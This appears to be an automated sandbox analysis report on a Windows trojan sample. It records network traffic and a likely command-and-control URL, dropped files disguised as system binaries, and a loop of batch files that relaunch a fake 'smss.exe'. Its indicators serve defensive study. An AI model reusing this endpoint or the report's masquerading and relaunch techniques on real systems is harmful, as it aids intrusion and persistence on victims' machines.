                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:32:13 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:32:27 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:32:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:32:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:33:10 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:33:19 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:33:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 25 Dec 2024 15:34:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                            Source: cbCjTbodwa.exe, 00000000.00000002.1697835749.00000000039CF000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000005.00000002.1841814843.000000000301F000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.0000000002E21000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003A17000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000002FAB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003D15000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.000000000303B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                            Source: smss.exe, 00000005.00000002.1841814843.00000000032DF000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000005.00000002.1841814843.000000000301F000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.00000000030BE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.0000000002E21000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003A17000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000002FAB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000003224000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003D15000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.000000000303B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.00000000037AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://whware.top
                            Source: smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://whware.top/
                            Source: smss.exe, 00000005.00000002.1841814843.000000000301F000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.0000000002E21000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003A17000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000002FAB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003D15000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.000000000303B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://whware.top/RequestLowGeoLongpollWordpress.php
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\RuntimeBroker.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\RuntimeBroker.exe\:Zone.Identifier:$DATAJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\9e8d7a4ca61bd9Jump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\NkgVUECczLKUWJoEOfo.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\NkgVUECczLKUWJoEOfo.exe\:Zone.Identifier:$DATAJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Windows\L2Schemas\bb1ff9bc311443Jump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9B890D4C0_2_00007FFD9B890D4C
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9B890E430_2_00007FFD9B890E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9B860D4C5_2_00007FFD9B860D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9B860E435_2_00007FFD9B860E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9BFC12B85_2_00007FFD9BFC12B8
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9B930D4C14_2_00007FFD9B930D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9B930E4314_2_00007FFD9B930E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9C095DFF14_2_00007FFD9C095DFF
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9C0912A814_2_00007FFD9C0912A8
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9B900D4C20_2_00007FFD9B900D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9B900E4320_2_00007FFD9B900E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9C0612B820_2_00007FFD9C0612B8
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9B910D4C26_2_00007FFD9B910D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9B910E4326_2_00007FFD9B910E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9C0712A026_2_00007FFD9C0712A0
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B92016632_2_00007FFD9B920166
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B910D4C32_2_00007FFD9B910D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B910E4332_2_00007FFD9B910E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B94131532_2_00007FFD9B941315
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9C0712B832_2_00007FFD9C0712B8
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 38_2_00007FFD9B930D4C38_2_00007FFD9B930D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 38_2_00007FFD9B930E4338_2_00007FFD9B930E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 38_2_00007FFD9B94016638_2_00007FFD9B940166
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 38_2_00007FFD9C095DFF38_2_00007FFD9C095DFF
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 38_2_00007FFD9C09129038_2_00007FFD9C091290
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 45_2_00007FFD9B9A12C045_2_00007FFD9B9A12C0
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 45_2_00007FFD9B9A14F245_2_00007FFD9B9A14F2
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 45_2_00007FFD9B940D4C45_2_00007FFD9B940D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 45_2_00007FFD9B940E4345_2_00007FFD9B940E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 45_2_00007FFD9C0A5DFF45_2_00007FFD9C0A5DFF
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 45_2_00007FFD9C0A12A845_2_00007FFD9C0A12A8
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9B96131551_2_00007FFD9B961315
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9B96D47051_2_00007FFD9B96D470
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9B94016651_2_00007FFD9B940166
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9B930D4C51_2_00007FFD9B930D4C
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9B930E4351_2_00007FFD9B930E43
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9C0A458F51_2_00007FFD9C0A458F
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 51_2_00007FFD9C095DFF51_2_00007FFD9C095DFF
                            Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\AGgFSeej.log 25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                            Source: cbCjTbodwa.exe, 00000000.00000000.1651283555.0000000000A8A000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs cbCjTbodwa.exe
                            Source: cbCjTbodwa.exe, 00000000.00000002.1719334949.000000001BCE3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exe.MUIj% vs cbCjTbodwa.exe
                            Source: cbCjTbodwa.exe, 00000000.00000002.1719334949.000000001BCE3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exej% vs cbCjTbodwa.exe
                            Source: cbCjTbodwa.exeBinary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs cbCjTbodwa.exe
                            Source: cbCjTbodwa.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                            Source: cbCjTbodwa.exe, sVLh7J7v60C9bWOCx6E.csCryptographic APIs: 'CreateDecryptor'
                            Source: cbCjTbodwa.exe, sVLh7J7v60C9bWOCx6E.csCryptographic APIs: 'CreateDecryptor'
                            Source: cbCjTbodwa.exe, sVLh7J7v60C9bWOCx6E.csCryptographic APIs: 'CreateDecryptor'
                            Source: cbCjTbodwa.exe, sVLh7J7v60C9bWOCx6E.csCryptographic APIs: 'CreateDecryptor'
                            Source: classification engineClassification label: mal100.troj.evad.winEXE@82/267@1/1
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\PDpiExgk.logJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeMutant created: NULL
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6192:120:WilError_03
                            Source: C:\Program Files\Uninstall Information\smss.exeMutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-7j0T2PsNgFXfJvQo7R5q
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3168:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4340:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2312:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4080:120:WilError_03
                            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5100:120:WilError_03
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\AppData\Local\Temp\I0elXU2F0gJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat"
                            Source: cbCjTbodwa.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                            Source: cbCjTbodwa.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile read: C:\Users\desktop.iniJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                            Source: cbCjTbodwa.exeVirustotal: Detection: 58%
                            Source: cbCjTbodwa.exeReversingLabs: Detection: 71%
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile read: C:\Users\user\Desktop\cbCjTbodwa.exeJump to behavior
                            Source: unknownProcess created: C:\Users\user\Desktop\cbCjTbodwa.exe "C:\Users\user\Desktop\cbCjTbodwa.exe"
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\COegk83zmU.bat"
